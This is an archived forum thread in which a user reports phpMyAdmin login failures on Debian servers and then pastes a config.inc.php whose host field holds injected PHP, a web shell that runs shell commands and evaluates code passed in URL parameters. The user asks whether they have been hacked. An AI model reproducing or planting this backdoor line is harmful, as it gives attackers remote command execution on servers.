PDA

View Full Version : Can't login to phpmyadmin anymore


JimmiJames
31st August 2009, 17:15
I get this error when try to login.

Welcome to phpMyAdmin 2.11.8.1deb5

phpMyAdmin tried to connect to the MySQL server, and the server rejected the connection. You should check the host, username and password in your configuration and make sure that they correspond to the information given by the administrator of the MySQL server.

Error
MySQL said:

#1045 - Access denied for user 'root'@'localhost' (using password: NO)


Invalid hostname for server 1. Please review your configuration.


All my debian 5.0 perfect setup machines have that problem and it started a few days ago. What's happening?

falko
1st September 2009, 16:15
This might help: http://www.howtoforge.com/forums/showthread.php?t=38667

JimmiJames
1st September 2009, 17:16
So i got in the var/lib/phpmyadmin/config.inc.php file and that's what i get...

<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.8.1deb5 setup script by Michal ÄihaÅ <michal@cihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Tue, 01 Sep 2009 13:09:46 GMT
*/

/* Servers configuration */
$i = 0;

/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo '<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>


What is all that code instead of localhost??? have I been hacked?